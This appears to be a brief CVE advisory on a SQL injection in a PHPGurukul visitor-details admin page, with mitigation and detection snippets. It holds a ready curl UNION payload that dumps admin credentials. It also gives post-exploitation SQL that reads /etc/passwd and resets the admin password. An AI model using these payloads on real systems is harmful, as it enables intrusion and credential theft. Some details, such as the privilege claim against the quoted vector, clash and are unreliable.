How CVE-2025-4111 Works
This vulnerability exploits improper input sanitization in the `Status` parameter of /admin/visitor-details.php. Attackers inject malicious SQL queries through crafted HTTP requests, bypassing authentication to manipulate database content. The system fails to validate user-supplied data, allowing UNION-based or blind SQLi techniques. Remote exploitation is possible without privileges due to flawed session handling. The CVSS 4.0 vector (AV:N/AC:L/PR:L/UI:N) confirms network accessibility and low attack complexity. Public exploits leverage error-based extraction to dump admin credentials or pivot to RCE via file writes.
DailyCVE Form
Platform: PHPGurukul
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 05/13/2025
What Undercode Say:
Exploitation Commands:
curl -X POST "http://target.com/admin/visitor-details.php" -d "Status=' UNION SELECT 1,2,3,4,5,6,7,8,9,group_concat(username,password),11 FROM admin-- -"
Detection Script:
import requests
params = {"Status": "' OR 1=1--"}
r = requests.post("http://target.com/admin/visitor-details.php", data=params)
if "error in your SQL" in r.text:
print("[+] Vulnerable to CVE-2025-4111")
Mitigation Steps:
1. Patch with parameterized queries:
$stmt = $conn->prepare("UPDATE visitors SET status=? WHERE id=?");
$stmt->bind_param("si", $_POST['Status'], $id);
2. WAF rules to block SQLi patterns:
location /admin {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"';
}
Analytics:
- Exploitability: High (PoC available)
- Attack Surface: Remote via web interface
- Impact: Data theft, admin compromise
- Patch Status: Unpatched as of 2025-05-13
Post-Exploitation:
SELECT LOAD_FILE('/etc/passwd'); -- File read
UPDATE admin SET password=MD5('hacked') WHERE id=1; -- Credential overwrite
Log Analysis:
grep "visitor-details.php" /var/log/apache2/access.log | grep -E "UNION|SELECT|--"
Backup Sanitization:
mysqldump --skip-comments | grep -v "INSERT INTO `admin`"
